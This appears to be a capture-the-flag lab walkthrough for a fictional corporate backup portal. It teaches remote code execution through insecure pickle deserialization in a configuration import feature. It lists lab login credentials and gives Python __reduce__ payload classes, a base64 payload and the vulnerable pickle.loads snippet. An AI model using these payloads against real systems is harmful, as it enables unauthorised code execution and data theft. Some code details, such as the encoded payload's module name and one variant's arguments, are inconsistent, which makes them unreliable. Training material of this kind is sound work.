SecureCorp's enterprise backup system harbors a dangerous flaw in its disaster recovery feature. 🏢 Behind the corporate interface lies a critical vulnerability in the configuration import functionality that could compromise the entire backup infrastructure. Can you exploit the enterprise serialization system to gain unauthorized access to corporate secrets? 💼 This realistic scenario demonstrates how backup systems become attack vectors in corporate environments. 🎯
Access the SecureCorp Backup Management Portal at <target-ip>. The application presents a corporate backup system with multiple user roles and authentication.
admin
/ SecureAdmin2024!
backup_operator
/ BackupOps123
john.smith
/ Password123!
Login using the system administrator credentials to access privileged functionality:
Username: admin
Password: SecureAdmin2024!
After successful authentication, you'll gain access to the "System Administrator - Configuration Management" panel, which includes disaster recovery features essential for this challenge.
The admin panel reveals critical disaster recovery functions:
The objective is to read the flag from /home/flag.txt. The pickle deserialization vulnerability in the configuration import feature provides the perfect attack vector for remote code execution.
Create a malicious pickle payload that executes a command to read the flag file:
import pickle
import base64
import subprocess
class MaliciousBackupConfig:
def __reduce__(self):
# Execute command to read the flag from /home/flag.txt
cmd = ['cat', '/home/flag.txt']
return (subprocess.check_output, (cmd,))
# Create and serialize the malicious object
malicious_config = MaliciousBackupConfig()
pickled_data = pickle.dumps(malicious_config, protocol=2)
payload = base64.b64encode(pickled_data).decode('utf-8')
print("Exploit Payload:")
print(payload)
gAJjY29tbWFuZHMKY2hlY2tfb3V0cHV0CnEAXXEBKFgDAAAAY2F0cQJYDgAAAC9ob21lL2ZsYWcudHh0cQNlhXEEUnEFLg==
Upon successful exploitation, the application will display a dedicated success page featuring:
# The vulnerable deserialization occurs here:
decoded_data = base64.b64decode(config_data)
config_obj = pickle.loads(decoded_data) # RCE triggers during deserialization
# Application detects command output and displays it:
if isinstance(config_obj, bytes):
command_output = config_obj.decode('utf-8').strip()
# Flag is displayed directly in browser success page
class DirectRCE:
def __reduce__(self):
return (os.system, ('cat /home/flag.txt',))
Note: This outputs to server logs rather than browser
class SafeFileRead:
def __reduce__(self):
return (subprocess.check_output,
(['cat', '/home/flag.txt'],
{'stderr': subprocess.STDOUT}))
This vulnerability demonstrates how enterprise backup systems can become critical attack vectors, potentially leading to:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.